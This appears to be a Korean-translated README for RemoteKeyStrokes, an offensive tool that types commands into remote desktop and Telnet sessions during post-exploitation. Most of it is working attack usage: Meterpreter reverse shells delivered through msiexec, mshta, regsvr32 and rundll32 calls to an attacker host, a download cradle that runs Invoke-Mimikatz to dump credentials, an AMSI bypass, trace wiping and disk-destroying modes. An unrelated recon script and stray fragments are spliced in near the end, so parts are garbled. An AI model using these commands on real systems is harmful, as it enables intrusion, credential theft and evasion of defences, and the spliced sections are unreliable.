
그래픽 데스크탑 프로그램을 통해 키 입력을 자동화하는 스크립트.
원격 데스크톱 세션을 통해 키 입력을 자동화하는 스크립트로, 공격자가 Living off the Land 기술과 함께 사용할 수 있도록 지원합니다. 모든 공로는 이를 가능하게 한 nopernik에게 있으며, 저는 이를 개선하기로 결정했습니다. 원격 데스크톱을 통해 명령을 실행할 때 사후 침투 단계에서 도움이 되는 도구를 원했습니다. 또한 자원을 체계적으로 수집하기 위한 SCPA 프로젝트를 만드는 데에도 사용되었습니다.
패키지 관리자에 따라 나머지 종속성을 설치하십시오.``` $ sudo apt install -y xfreerdp-x11 remmina xdotool
$ sudo dnf install -y xdotool freerdp-2 remmina
$ sudo pacman -S freerdp remmina xdotool
$ sudo emerge xwayland freerdp remmina xdotool
$ sudo nix-env -iA nixpkgs.xwayland nixpkgs.xdotool nixpkgs.freerdp nixpkgs.remmina
### Setup
시스템에 프로그램을 설치하고 `rks`를 `remotekeystrokes`의 심볼릭 링크로 생성합니다. 이는 명령어 별칭으로 사용됩니다.```
$ sudo wget -O /usr/local/src/remotekeystrokes.sh https://raw.githubusercontent.com/U53RW4R3/RemoteKeyStrokes/main/remotekeystrokes.sh && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes && \
sudo ln -sf /usr/local/src/remotekeystrokes.sh /usr/local/bin/rks && \
sudo chmod 755 /usr/local/src/remotekeystrokes.sh /usr/local/bin/remotekeystrokes /usr/local/bin/rks
$ remotekeystrokes -h Usage: remotekeystrokes
Flags:
COMMON OPTIONS: -c, --command <command | file> Specify a command or a file contains commands to execute
-p, --platform <operating_system> Specify the operating system ("windows" is
set by default if not specified)
-w, --windowname <window_name> Specify the window name to focus on the
active window ("freerdp" is set by default
if not specified)
-h, --help Display this help message
UPLOAD FILES: -i, --input <input_file> Specify the local input file to transfer -o, --output <output_file> Specify the remote output file to transfer
METHODS: -m, --method Specify a method. For command execution method "none" is set by default if not specified. For file transfer "pwshb64" is set by default if not specified. Other available methods are: "elevate", "persistence", "antiforensics", and "mayhem"
-s, --submethod <submethod> Specify a submethod from a method (applies
with -m flag)
-a, --action <action> Specify an action from a method and/or
submethod (applies with -m and/or -s flag)
-e, --evasion <evasion> Specify an evasion method for uploading files
(only works for "pwshb64")
## Usage
### 0x00 - Remote Authentication
#### 범례
- 달러 기호(`$`)는 일반 사용자 권한의 유닉스 셸 프롬프트를 나타내며, 명령어를 포함합니다.
- 꺾쇠괄호(`<>`)는 필수 매개변수를 의미합니다.
- 대괄호(`[]`)는 지정할 필요가 없는 선택적 매개변수를 의미합니다.
#### RDP
최신 운영 체제를 인증하려면 TLS(`/sec:tls`)로 강제 인증하거나 NLA(`/sec:nla`)로 인증하도록 플래그를 지정합니다.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>]
레거시 운영 체제를 인증하려면 /sec:rdp 플래그를 지정하여 이전 인증을 강제합니다.```
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:rdp [/d:"<domain_name>"] /u:"" /p:"" /v::[]
#### VNC
VNC 머신에 원격으로 인증하려면.```
$ remmina -c vnc://<username>:<password>@<IP>
$ ssh [-p ] @
#### Telnet```
$ telnet <IP> [PORT]
인증된 원격 세션으로 Windows 대상에서 명령을 실행할 때 remotekeystrokes(또는 별칭 명령 rks)를 사용합니다. 명령을 실행하기 전에 창 이름(-w)으로 탐색해야 하며, 기본적으로 xfreerdp 사용 시 FreeRDP를 검색합니다. 다른 원격 로그인 프로그램을 사용하는 시스템을 대상으로 할 경우 반드시 창 이름을 지정하십시오. -c 플래그를 지정하여 명령을 실행할 수 있습니다. 또한 명령을 삽입할 텍스트 파일을 준비하면 파일을 한 줄씩 읽습니다. 이 플래그는 문자열인지 파일인지 확인합니다.
FreeRDP, Remmina 및 기타 타사 프로그램과 같은 그래픽 원격 데스크톱 프로그램의 경우, telnet 및 ssh와 같은 원격 터미널 세션과는 다릅니다. 대상 머신 내의 활성 애플리케이션으로 커서를 이동해야 합니다. 예를 들어 Windows 환경에서는 명령 프롬프트(cmd.exe) 또는 PowerShell(powershell.exe)을 열어야 합니다. Windows에서는 대화 상자(-m dialogbox)를 사용하여 프로그램을 빠르게 실행할 수 있습니다. 이 방법으로 처음 실행한 후 레지스트리 항목에서 흔적을 삭제해야 합니다. 해당 항목은 HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU에 있습니다. 단순히 Living off the Land(LotL) 기법만으로도 신속한 공격적 조치를 수행할 수 있는 예제를 확인할 수 있습니다.
로컬 머신 열거.``` $ cat recon_local_enum_cmds.txt whoami /all net user net localgroup Administrators ipconfig /all systeminfo
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_local_enum_cmds.txt [*] Executing commands... [+] Task completed!
단일 명령으로 실행하려면. 특히 대화 상자와 함께 사용할 때 간결합니다.```
$ rks -c "cmd.exe /k \"whoami /all & net user & net localgroup Administrators & ipconfig /all & systeminfo\"" -m dialogbox
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
Active Directory 열거.``` $ cat recon_ad_enum_cmds.txt net user /domain net group "Domain Admins" /domain net group "Enterprise Admins" /domain net group "Domain Computers" /domain
$ rks -c "cmd.exe" -m dialogbox [] Checking one of the lines reaches 260 character limit [] Executing commands... [+] Task completed!
$ rks -c recon_ad_enum_cmds.txt [*] Executing commands... [+] Task completed!
단일 명령으로 실행할 수 있습니다. 이는 대화 상자와 함께 사용할 때 특히 간결합니다.```
$ rks -c "cmd.exe /k \"net user /domain & net group \"Domain Admins\" /domain & net group \"Enterprise Admins\" /domain & net group \"Domain Computers\" /domain\""
[*] Checking one of the lines reaches 260 character limit
[*] Executing commands...
[+] Task completed!
로컬 머신 열거 (TODO)``` $ cat recon_local_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_local_enum_cmdlets.txt
Active directory 열거 (TODO)```
$ cat recon_ad_enum_cmdlets.txt
$ rks -c "powershell.exe" -m dialogbox
$ rks -c recon_ad_enum_cmdlets.txt
PowerShell의 내용을 읽으면서 페이로드를 실행합니다.``` $ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f psh -o payload.ps1
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
`metasploit-framework` 익스플로잇 모듈 `exploit/multi/script/web_delivery`를 사용하여 powershell oneliner payload를 실행하십시오.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "powershell.exe -nop -w hidden -e <base64_payload>"
Execute the payload with msiexec.exe while hosting a webserver.```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport= -f msi -o payload.msi
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport ; run"
$ sudo python -m http.server 80
$ rks -c "msiexec /quiet /qn /i http://<attacker_IP>/payload.msi" -m dialogbox
`mshta.exe`를 사용하여 `metasploit-framework` 익스플로잇 모듈 `exploit/windows/misc/hta_server`로 페이로드를 실행하십시오.```
$ sudo msfconsole -qx "use exploit/windows/misc/hta_server; set target 2; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvhost <server_IP>; set srvport <server_PORT> run"
$ rks -c "mshta.exe http://<attacker_IP>:<attacker_PORT>/payload.hta" -m dialogbox
rundll32.exe를 통해 페이로드를 실행하려면, metasploit-framework의 익스플로잇 모듈 exploit/windows/smb/smb_delivery를 사용하십시오.```
$ sudo msfconsole -qx "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set file_name payload.dll; set share staging; run"
$ rks -c "rundll32.exe \<attacker_IP>\staging\payload.dll,0" -m dialogbox
`regsvr32.exe`를 사용하여 `metasploit-framework`의 익스플로잇 모듈 `exploit/multi/script/web_delivery`로 페이로드를 실행합니다.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 3; set payload windows/x64/meterpreter/reverse_tcp; set lhost <IP>; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "regsvr32 /s /n /u /i://http://<attacker_IP>:<attacker_PORT>/payload.sct scrobj.dll" -m dialogbox
metasploit-framework 익스플로잇 모듈 exploit/multi/script/web_delivery를 사용하여 python으로 실행 및 이식합니다.```
$ sudo msfconsole -qx "use exploit/multi/script/web_delivery; set target 0; set payload python/meterpreter/reverse_tcp; set lhost ; set lport 8443; set srvhost <server_IP>; set srvport <server_PORT>; set uripath payload; run"
$ rks -c "python -c """
### 0x03 - 파일 전송
총 11개의 파일 전송 방법이 있습니다.
| 방법 | 플랫폼 | 설명 |
| -------------- | ----------------- | ----------- |
| `pwshb64` | Windows 및 Linux | 파일을 base64로 인코딩한 다음 powershell로 디코딩합니다. |
| `cmdb64` | Windows | `copy con`을 사용하여 인코딩된 base64 파일의 내용을 출력한 다음 `CertUtil.exe`로 디코딩합니다. |
| `nixb64` | Unix | base64 내용을 파일로 디코딩합니다. |
| `outfile` | Windows 및 Linux | `Out-File` cmdlet을 사용하여 텍스트 파일을 출력합니다. |
| `outfileb64` | Windows | `Out-File` cmdlet을 사용하여 인코딩된 base64 파일의 내용을 출력한 다음 `CertUtil.exe`로 디코딩합니다. |
| `copycon` | Windows | `copy con` 명령을 사용하여 텍스트 파일을 출력합니다. |
| `pwshhex` | Windows 및 Linux | 파일을 16진수로 인코딩한 다음 powershell로 디코딩합니다. |
| `cmdhex` | Windows | 16진수로 인코딩된 한 줄을 변수에 출력한 다음 `CertUtil.exe`로 디코딩합니다. |
| `copyconhex` | Windows | `copy con`을 사용하여 인코딩된 hexdump 파일의 내용을 출력한 다음 `CertUtil.exe`로 디코딩합니다. |
| `nixhex` | Unix | 16진수로 인코딩된 한 줄을 변수에 출력한 다음 `echo -e`로 디코딩하여 `\x` 시퀀스 문자를 해석합니다. 이는 Telnet에 파일 전송 기능이 없는 IoT 장치를 다룰 때 특히 적합합니다. |
| `outfilehex` | Windows | `Out-File` cmdlet을 사용하여 인코딩된 hexdump 파일의 내용을 출력한 다음 `CertUtil.exe`로 디코딩합니다. |
격리된 네트워크에서 피벗할 때 원격으로 파일을 업로드합니다. Windows에서 원격 경로를 지정하려면 반드시 따옴표를 포함해야 합니다. 기본적으로 지정되지 않은 경우 Powershell base64를 사용하여 파일을 전송합니다. 이는 크기가 큰 드로퍼도 포함됩니다. 파일 전송을 완료하는 데 시간이 걸릴 수 있음을 명심하세요.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m pwshb64
[*] Transferring file...
[+] File transferred!
드로퍼를 전송하려면 특히 크기가 큰 경우 CertUtil.exe base64를 사용할 수 있습니다.```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lport=8443 -f exe -o payload.exe
`CertUtil.exe` base64를 통해 powershell로 droppers를 전송하려면.```
$ rks -c "powershell.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m outfileb64
레거시 운영 체제가 파일을 전송하는 것도 가능합니다. 예를 들어, 명령 프롬프트 외에는 PowerShell이 없는 Windows XP 같은 경우입니다.``` $ rks -c "cmd.exe" -m dialogbox
$ rks -i payload.exe -o payload.exe -m cmdb64
C2 리스너를 활성화하고 페이로드를 실행하세요.```
$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp set lhost <IP>; set lport 8443; run"
$ rks -c ".\payload.exe"
시스템 관리자 및 공격 도구를 위한 또 다른 파일 전송 방법입니다. 예를 들어 PsExec64.exe를 가져와서 측면 이동(lateral movement)을 위해 필요하다고 합시다. 중단 없이 텍스트로 업로드하는 데는 오랜 시간이 걸립니다. 대신 가장 빠른 방법은 sysinternals 제품군 툴킷의 합법적인 웹사이트(live.sysinternals.com)에 속한 WebDAV를 마운트하는 것입니다. 명령을 실행하는 것보다 훨씬 느린 파일 탐색기를 사용하는 대신에 말이죠. 다음은 명령 프롬프트를 위한 명령어들입니다.```
$ cat commands.txt
net use z: \live.sysinternals.com\tools
copy z:\PsExec64.exe .
net use z: /delete
$ rks -c "cmd.exe" -m dialogbox
$ rks -c commands.txt
다음은 Windows에서 `PsExec64.exe`를 전송할 때 PowerShell cmdlet을 위한 또 다른 변형입니다.```
$ cat cmdlets.txt
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\live.sysinternals.com\tools"
Copy-Item z:\PsExec64.exe .
Remove-PSDrive -Name Z
$ rks -c "powershell.exe" -m dialogbox
$ rks -c cmdlets.txt
파일리스 맬웨어나 공격 도구를 파워셸을 통해 검색하는 가장 좋은 방법은 https://github.com과 같은 합법적인 웹사이트를 호스팅/검색하여 실행하는 것입니다. nishang에서 크래들을 다운로드하고 실행하여 Invoke-Mimikatz를 사용하여 자격 증명을 검색해 보겠습니다.```
$ cat hashdump.txt
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
$ rks -c "powershell.exe" -m dialogbox
$ rks -c hashdump.txt
If you have large files that it's nearly impossible to wait for the file transfer to be finished. `xfreerdp` allows to mount a local directory with `/drive:/path/to/directory/` flag. Then navigate the file browser or shell prompt to `\\tsclient\<share_name>\` to view the contents.```
$ mkdir Tools
$ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe Tools/
$ xfreerdp /kbd:US /clipboard /compression /dynamic-resolution /sec:<tls | rdp | nla> [/d:"<domain_name>"] /u:"<username>" /p:"<password>" /v:<IP>:[<PORT>] /drive:Tools
$ rks -c "cmd.exe" -m dialogbox
$ rks -c "dir \\tsclient\<share_name>\"
참고: WIP (작업 진행 중)``` $ rks -m elevate -s bypassuac -a info
$ rks -m elevate -s <sub_method>
### 0x05 - 지속성
참고: WIP (작업 진행 중)```
$ rks -m persistence -s createuser
$ rks -m persistence -s sethc
참고: WIP (작업 진행 중)
AMSI Bypass를 Powershell 임플란트와 결합하여 Windows Security 또는 AMSI 스캐너와 통합된 보안 솔루션을 우회할 수 있습니다.``` $ cat amsi_bypass.ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$ cat amsi_bypass.ps1 implant.ps1 > payload.ps1
$ rks -c "powershell.exe" -m dialogbox
$ rks -c payload.ps1
RESOURCE, ALL-CMDS, NOPASSWD, etc.
FILE_WRITE, KILL.
***
### 자동화된 정보 수집
```bash
#!/bin/bash
# read -p "Enter Domain Name: " domain
# read -p "Enter Organization Name: " org
# read -p "Enter Network Range: " range
# read -p "Enter IP Address: " ip
# Automates the use of tools like amass, subfinder, assetfinder, etc
# nuclei requires a target file
# nuclei -l targets.txt
# Passive Subdomain Enumeration
subfinder -d example.com -o subfinder.txt
assetfinder --subs-only example.com >> assetfinder.txt
chaos -d example.com -o chaos.txt
# Certificate Transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u > crtsh.txt
# Combine and sort unique subdomains
cat *.txt | sort -u > all_subs.txt
# Resolve subdomains to IP addresses
cat all_subs.txt | dnsx -resp -o resolved.txt
# Use httpx to check for live web servers
cat resolved.txt | httpx -o live.txt
# Use naabu for port scanning
cat live.txt | naabu -p 80,443,8080,8443 -o ports.txt
# Use nuclei for vulnerability scanning
nuclei -l live.txt -t exposures/ -t cves/ -o nuclei_results.txt
# Use amass for deep enumeration
amass enum -d example.com -o amass_full.txt
readonly HISTFILE=/dev/null
readonly HISTSIZE=0
readonly HISTFILESIZE=0
readonly HISTIGNORE="*"
ln -sf /dev/null ~/.bash_history
표준 Linux 유틸리티; 기기로 민감한 파일을 전송하지 마십시오!
# Download all resources from GitHub repository
curl -L -o toolkit.tar.gz https://api.github.com/repos/<owner>/<repo>/tarball/main
# Standard Linux utilities; Do NOT transfer any sensitive files to the device!
# pkg install -y binutils python ndk-sysroot make autoconf automake
echo "binutils python ndk-sysroot make autoconf automake" | xargs pkg install -y
$ rks -m antiforensics -s wevutils
$ rks -m antiforensics -s winevent
$ rks -m antiforensics -s eventvwr
### 0x07 - Mayhem
참고: WIP (작업 진행 중)```
$ rks -m mayhem -s diskpart -a info
$ rks -m mayhem -s diskpart -a cmd
$ rks -m mayhem -s diskpart -a pwsh
VNC, Telnet 또는 기타 네트워크 프로토콜을 대상으로 하는 경우 창 이름을 지정할 수 있습니다. 이는 remmina 또는 이름이 변경된 터미널 인스턴스를 사용할 때 유용합니다.```
$ rks -c implant.ps1 -w <window_name>
## FAQ (자주 묻는 질문)
### 이 프로젝트를 시작하게 된 계기는 무엇인가요?
로컬 네트워크 외부에서 키보드로 직접 입력하거나 마우스로 탐색하고 클릭하는 것은 매우 느립니다. 특히 네트워크 침투 시 프로세스 속도를 높이고 싶었습니다.
### 그래픽 원격 데스크톱(RDP, VNC 등)에만 엄격히 사용되나요?
꼭 그렇지는 않습니다. 파일 전송 기능이 부족한 Telnet과 같은 원격 콘솔에서도 사용할 수 있도록 만들었습니다.
### 이 기술을 제 프로젝트나 다른 트레이드크래프트에 내 무기고용으로 사용할 수 있나요?
해당 기술들은 일반적이며 BadUSB, 악성코드 개발 또는 기타 관련 프로젝트에 재사용될 수 있습니다. GNU GPLv3의 카피레프트 라이선스 하에 있으며, 사용자로서 프로그램 작동 방식을 확인하고, 요구 사항에 따라 소스 코드를 수정하고, 소스 코드와 함께 다른 사용자에게 재배포할 수 있는 권리가 있습니다.
### `wayland` 디스플레이 서버에서 사용할 수 있나요?
현재 `xdotool`을 대체하거나 대안을 찾을 수 있는 호환 가능한 wayland 도구가 없습니다. [dotool](https://git.sr.ht/~geb/dotool)은 유망하지만 창에 초점을 맞추는 특정 기능이 누락되어 있습니다. [kdotool](https://github.com/jinliu/kdotool)은 KDE 데스크톱 환경에서만 사용 가능합니다. **Go** (`dotool`이 존재하므로) 또는 [`pynput`](https://github.com/moses-palmer/pynput) 라이브러리를 사용하는 **Python**으로 재구현해야 할 수도 있습니다.
## 문제 해결
### 공격 도구가 작동하지 않음
처음 프로그램을 실행하면 설명이 포함된 메시지가 표시되어야 합니다. `x11` 윈도우 서버로 전환하세요. `wayland`가 지원되지 않는 이유는 **FAQ**를 참조하십시오.```
$ rks -c "powershell.exe" -m searchbox
[ERROR] Wayland isn't supported!
[*] Terminating program...
제거하려면.``` $ sudo rm -f /usr/local/bin/remotekeystrokes /usr/local/bin/rks
## TODO 및 도움 요청
- [ ] AES256 암호화 방법을 base64를 통해 구현
- [ ] 나머지 업로드 방법 구현: Base32, Base2, Base10, Base8
- [ ] Windows 및 Linux용 권한 상승 함수 구현
- [ ] Windows 및 Linux용 지속성 함수 구현.
- [ ] Windows 및 Linux용 안티포렌식 함수 구현.
- [ ] Windows 및 Linux용 혼란(Mayhem) 함수 구현.
## 참고 자료
- [비디오: sethc.exe 백도어 CMD 페이로드 전달 (USB Rubber Ducky 스타일)](https://www.youtube.com/watch?v=8YFEujJUxws)
- [원본 스크립트](https://github.com/nopernik/mytools/blob/master/rdp-cmd-delivery.sh)
- [VirtualRubberDucky](https://github.com/joewhaley/VirtualRubberDucky)
- [sticky_keys_hunter](https://github.com/ztgrace/sticky_keys_hunter)
## 크레딧
- [nopernik](https://github.com/nopernik)
## 면책 조항
사용자의 행동의 원인이 무엇이든 책임은 사용자에게 있습니다. 큰 힘에는 큰 책임이 따른다는 것을 기억하십시오.